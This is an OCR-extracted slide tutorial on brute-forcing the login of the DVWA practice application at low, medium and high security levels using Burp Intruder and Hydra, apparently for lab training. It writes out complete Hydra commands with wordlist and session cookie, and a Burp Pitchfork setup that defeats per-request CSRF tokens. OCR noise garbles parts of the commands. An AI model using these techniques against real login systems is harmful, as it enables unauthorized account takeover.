Brute forcing on DVWA
with Burp and Hydra
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Brute forcing




{l

You should be on Kali Linux or Parrot
OS in VMWARE, Virtual Box or running

natively on your PC



Low-difficulty DVWA
brute forcing



Go to DVWA security settings and set the difficulty to low

Home . DVWA Security »

Instructions |

Setup | Reset DB | Security Level
Security level is currently: low.

Brute Force

You can set the security level to low, medium, high or impossible. The security level changes th
level of DVWA: k‘

1. Low - This security level is completely vulnerable and has no security measures at all.
as an example of how web application vulnerabiliies manifest through bad coding practi
as a platform to teach or learn basic exploitation technigues.

Command Injection

CSRF

File Inclusion

File Upload | 2. Medium - This setting is mainly to give an example to the user of bad security practice
developer has tried but failed to secure an application. It also acts as a challenge to use
Insecure CAPTCHA | explaitation techniques.
3. High - This option is an extension to the medium difficulty, with a mixture of harder or al
SQL Injection | practices to attempt to secure the code. The vulnerability may not allow the same exten
sQL exploitation, similar in various Capture The Flags (CTFs) competitions.
o siienal ot | 4. Impossible - This level should be secure against all vulnerabilities. It is used to comp
Weak Session IDs | source code to the secure source code.
Prior to DVWA v1.9, this leyel was known as 'high".
XSS (DOM) | _ .
| Low v || Submit
XSS (Reflected) | | L |
|
kit
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Step- 2
¢ Fire up the burp suite in your Kali linux. Set the proxy in your

firefox to use burp as a proxy. You can also use the foxy proxy
addon to set the burp proxy

"@ Edit Proxy Burp

Title or Description (optional) Proxy Type

Color Proxy IP address or DNS name #

Port #

Username (optional)

Password (optional) =




Step- 3
**» Submit a request from firefox to log in with the wrong
credentials. the complete request will be shown in the burp.
Now right-click on it and send it to the intruder module. In the
intruder tab, clear all targets and locate the password field and
add it as a target

Burp  Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extensions Learn {5 settings

1= 2 = + Qi

Pasitions Payloads Resource Pool Options

(%) Choose an attack type Start attack
Attack type: Sniper

(7) Payload Positions
Configure the pesitions where payloads will be inserted, they can be added into the target as well as the base request.

Add$
Target: | httpi/127.0.0.1:42001 Update Host header to match target
akes
1 6ET fvulnerabilities/brute/tuser dnifa d 4 oginsLogin HTTR/1.1 it
Z Host: 127.0.0.1:42000 ute's
3 User-Agent: Mozilla/S.0 (X11: Linux xB5 64; rvi102.0) Ge:i:o.-‘loloolol F;refe floz.o e
o

4 Accept: text/html,application/xhtml+xml application/xal:q=0.9,inage/avif, image/webp, #/4;0=0.8
S Accept-Language: en-US,.en;g=0.5

& Accept-Encoding: gzip, deflate

7 Connection: close

2 Referer: http://127.0.0.1:42001/vulnerabilities/brute/Fusernane=ipassword=iloginelogin

5 Cookie: PHPSESSID=7vsdnhclgddnp3fEcgiklolveg: security=low

10 Upgrade-Insecure-Requests: 1

]5: -Fetch-Dest: document

2 Sec-Fetch-Mode: navigate

13 Sec-Fetch-Site: same-origim




Burp Intruder

Dashbeard

Project Repeater

Target
1 = 2= +
Resource Pool

Positions Payloads

(7) Payload Sets

You can define one or more payload sets,

Payloadset: | 1

Payload type:  Simple list

() Payload Options [Simple list]

.

This paylead type lets you configure a sim{l

Paste
Load...

Remowve

Window

Now in the payloads tab, you can set the wordlist. | am using
john.lst

Help

wordlists

LookIn:

amass
dirb
dirbuster
fern-wifi
legion

metasploit
wfuzz

john.lst
rockyou.txt.gz
sqlmap.txt
weifite. txt
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Now start the attack, burp will try to brute force it. Keep
looking for the response size. The request/ response with a
changed response size will be our matched password

Attack Save Columns
Palse Ppsiticns Payleads Resource Pool Opticns
Repeat  allitems
Reguest Payload Status Error Timeout  Length |
45 maggie 200 il
16 password 200 4537
o 200 4450
1 #lcomment: This list has beenco... 200 ML ——
2 #lcomment: in 1996 through 201, 200 4495
3 #lcomment: 200 4485
4 #lcomment: This list is based on... 200 4499
5 #leomment: systems inmid-199... 200 4455
G #lcomment: [that is, more comm... 200 4405
7 #lcomment: revised to alsoinclu... 200 4400
B £lcomment: of "top N passwerds... 200 4409
o #lcomment: occurred in 2006thr.. 200 4400
10 £lcomment: 200 4485
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Hydra



You can use the following command to brute force the
password with Hydra

hydra -l admin -P /usr/share/wordlists/john.Ist 'http-get-
form://127.0.0.1:42001/vulnerabilities/brute/:username=~USER
N&password="PASS*&Login=Login:H=Cookie\:PHPSESSID=7vs4
mhclg4dnp3fecgikl01v9qg; security=low:F=Username and/or
password incorrect’
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. | admin -P /usr/share/wordlists/john.lst 'http-get-
rnames= ; ssword=" "GLogin=Login:H=Cookie\ : PHPSESSID=7\
e and/or password incorrect’
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organi

zations, or for illegal purposes (this is non-binding, these #** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-30 00:53:32

[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.

[DATA] max 16 tasks per 1 server, overall 16 tasks, 3559 login tries (1:1/p:3559), ~223 tries per task

[DATA] attacking http-get-form://127.0.0.1:42001/vulnerabilities/brute/:username="USER"&password="PASS"&Login=L
ogin:H=Cookie\:PHPSESSID=7vs4mhclq4dnp3fbcgikl@1v9q; security=low:F=Username and/or password incorrect
[42001][http-get-form] host: 127.0.0.1 _ login: admin password: password

1 of 1 target successfully completed, 11‘ valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-30 00:53:33
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Medium-difficulty DVWA
brute forcing



Medium
Difficulty

** The medium difficulty challenge, adds a delay between
different attempts and can be solved in a similar fashion. But
the attack will be much slower
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Just capture a new request. Send it to the intruder and brute
force it in a similar fashion. you will notice that only the cookie
value has changed to medium and the attack will be much
slower

Target: | http/127.0.0.1:42001

GET svulnerabilitiessbrutesFusername=admnin&password=adasda&login=Login HTTP/1.1

Host: 127.0.0.1:42001 1

User-Agent: Mozilla/s5.0 (¥1l; Linux x86 &4; rv:102.0) Gecko/20100101 Firefox/1l02.0

Accept: text/html,.applications/xhtml+xml,applicationsxml ;q=0.9, imageSavif, image webp,* /% ;q=0.8
Accept -Language: en-Us,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

& Referer: http://127.0.0.1:42001/vulnerabil it 1=ty

9 Cookie: PHPSESSIC=7vsdmhclgddnp3fecgikl 0lvag; fsecurity=medium
10 Upgrade-Insecure-Requests: 1
11 Sec-Fetch-Dest: document

12 Sec-Fetch-Mode: navigate

13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-User: 71

S T R S
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We just need to change the cookie value to medium and use
the same command as of low difficulty and we can still get the
DVWA medium-difficulty password

hydra -l admin -P /usr/share/wordlists/john.Ist 'http-get-
form://127.0.0.1:42001/vulnerabilities/brute/:username="USER
N&password="PASS*&Login=Login:H=Cookie\:PHPSESSID=7vs4
mhclg4dnp3f6cgikl01v9q; security=medium:F=Username
and/or password incorrect'
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We will notice a much slower attack but we will be able to
break through it.

ATTEMPT] target 127.0.0.
ATTEMPT] target 127.0.0.

) login "admin" - pass "qwerty" - 25 of 3559 [child 11] (0/0)
0 login "admin" - pass "money" - 26 of 3559 [child 5] (@/0)
ATTEMPT] target 127.0.0. login "admin" - pass "carmen" - 27 of 3559 [child 6] (0/0)
ATTEMPT] target 127.0.0. login "admin" - pass "mickey" - 28 of 3559 [child 12] (/@)
ATTEMPT] target 127.0.0. login "admin" - pass "secret" - 29 of 3559 [child 13] (0/0)
0 login "admin" - pass "summer" - 30 of 3559 [child 14] (0/0)
0 login "admin" - pass "internet" - 31 of 3559 [child 0] (©/0)
] : 127.0.0.1 login: admin password: password

ATTEMPT] target 127.0.0.

|
|
[
|
[
[ATTEMPT] target 127.0.0.
[
[42001][http-get-form

i

=
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High-difficulty DVWA
brute forcing



In high difficulty, a CSRF token is generated for each request.
So, it becomes very difficult to brute force through it. Hydra
fails completely and gives false positives. So, we can not use it
in isolation to break the password in high difficulty

[42001][http-get-form] host: 127.6.0.1 login: admin password: #!comment: occurred in 2006 through 2010.
[42001][http-get-form] host: 127.0.0.1 login: admin password: #!comment:

[42001] [http-get-form] host: 127.0.0. login: admin password: #!comment: in 1996 through 2011. It is assum
ed to be in the public domain.

[42001][http-get-form] host: 127.0.0. login: admin password: #!/comment: Last update: 2011/11/20 (3546 entr
ies)

[42001][http-get-form] host: 127.0.0.] login: admin password: #!comment:

[42001] [http- Form : 127.0.0. login: admin password: #!comment: For more wordlists, see https://ww
w.openwall. sts,

[42001] [htt t-form] host: 127.0.0.1 login: admin password: 12345

[42001][htt t-form] host: 127.0.0.: login: admin password: #!comment: (that is, more common passwords ar
e listed first). _

[42001][http-get-form] host: 127.6.0.1 login: admin! password: password

[42001] [http-get-form] host: 127.0.0.1 login: admin password: 123456

1 of 1 target successfully completed, 16 valid passwords found
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Step-1
** Generate a new request, and send it to the burp proxy. Now
following the same steps send it to the intruder. Now in
intruder, we need to perform a few additional steps. select
both the password and token fields as targets. Now change
attach type to pitchfork attack

T = d = 3 = 4w +

Positions Payloads Rezource Poal Options

) Choose an attack type

Attacktype: Sniper

Sniper
o This attack uses a single set of payloads and one or more payload positions. |t places each payload into the first pasition, then each payload into the second position, and so.on,
') Payload P

Configure th Batteringram
This uses a single set of payloads. It iterates through the payloads, and places the same payload Into all of the defined payload positions at ance

Tai Pitchfork
This attack uses multiple payload sets. There is a different payload set for each defined position (up to a maximum of 20 Thcall.arjtitcml.ﬁkw'nughau payload sets simultaneously, so it uses the first payload from each

set, then the second payload from eachset, and soon.
1 GET /

2 Host:
= User- Cluster bomb
1 Accep| Thisattackuses multiple payload sets. There is a different payload set for each defined position (up to @ maximum of 20), The attack iterates through each paylead set in turn, so that all permutations of paylead
5 Accep tombinations are tested,
ACCERY wimvmargr wnepr wurvues
' Connection: close
Referer: hitp://127.0.0.1:42001/vulnerabilities/brute/
= Cookie: PHPSESSID=7vsdmnhclgddnpafecgiklolvsa: security=high

10 Upgrade-Insecure-Requests: 1 . H
e Rt e il https://t. me/learningnets

172 Ei'ﬁﬁih Hiii' “-ﬂ dats




Step- 2
** Now in the payload section, for target 1, select the same
john.lIst. For the second payload select to use recursive grep

1 = 2 = 3w 4 +

Positions Payloads Resource Pool Options

(%) Payload Sets
You can define cne or more payload sets. The number of payload sets depends on the attack

Payloadset: | 2 e Paylead count: unknown
Payloadtype: | Recursive grep v Request count: 3,559

(%) Payload Options [Recursive grep]

This payload type lets you extract each payload from the response to the previous reguest in
Opticns tab.

ane
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Now in the options tab add a new grep extract and select the

token to extract it

Burp  Project Intruder Repeater  Window

Dashboard Target Inkrud
1% 2 x 3w 4 +

Positions

Payloads Resource Pool

Grep - Extract

These settings can be uspd to extract useful |

Extract the following items from respong

Add
dit
Remove
Duplicate
Up
Down

Clear

Maximum capture length: = 100

Grep - Payloads

These settings can be used to flag result itend

Searchresponses for payload strings

Define the location of the item to be extracted. Selecting the item in the response panel will create a suitable configuration automatically. You can

also modify the configuration manually to ensure it works effectively.

Define start and end

Start after expression

© start at offset:

End at delimiter:

L3

nd at fixed length 3

Exclude HTTPheaders [f Update config based on selection below

=forn action= nethod=

Username:<br /=

<input types"text” name="usernans”s<hr

Password:<br /=

in type="password" AUTOCOMPLETE="o
/

<input type=

submit” value="Login® name="Lo

Extract from regex group

Refetch response

<input type='hidden' name='user_token' valu

deldle8f 7963001 e6bfel0ds878cdfe /=

r /=Username and/or password incerrect.</pre=

Mere Information</h2=

<li=<a href="https://owasp.org/wew-connunity/attacks/Br

_force_attack® target="_blank"=

https://owasp.org/www-community/attacks/Brute force attack=/a=«/li=

oV5 (€[>

0 matches

Cancel

Redirections

These settings control how Burp handles redirections when performing attacks.
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Step- 4

**» Ensure that redirections are set to always

Redirections
These settings control how Burp handles redirecticns when perferming attacks.

Follow redirections: | Mever

| On-site only

" In-scope only

Q Always

| | Process cockies inredirections
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Step-5

** Now in the resource pool, create a new pool with only one
thread and start the attack

o Create new resource pool

Mame: | Custom rescurce pooll

Maximum cencurrent requests: EI

|| Delay between requests: milliseconds

@) Fixed
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Step- 6
**» The burp will find the password which will have a changed
response length

15 12345 f1836ba20cch451856b7400304¢... 200 0 4587 1 k 39120e53ddeed1c38066. ..
17 password 2a6816fbaBb21 3aeffle0bfbeeb... 200 ] 4587 1 043290b821ddb2dS5cTT5. .
18 123456789 04320db871ddb2d95c757bbe53... 200 i] 4587 1 10e6d905f1b252ea36651..,
19 12345678 1de6d905f1b252ea36691 21915, 200 ] 4587 1 33239454 3fb0eTe05¢chd.
20 1234567890 223239454 3fb0ete05ch4GeBb3a., 200 o 4587 1 T1bfScS313b603e9cBE25F. .
0 200 i 4616 1 Sfed49591fcd3Tidb4 2e8. .
1 =lcomment: This list has been co... 200 1 4616 1 37317 bbEc0%e 315167413,
_15 password 3a%120e53ddee1c380e656caa5,,. 200 i) | 4625 2a6816fbaBb?13aefflelb..,

Request Response

Raw Hex
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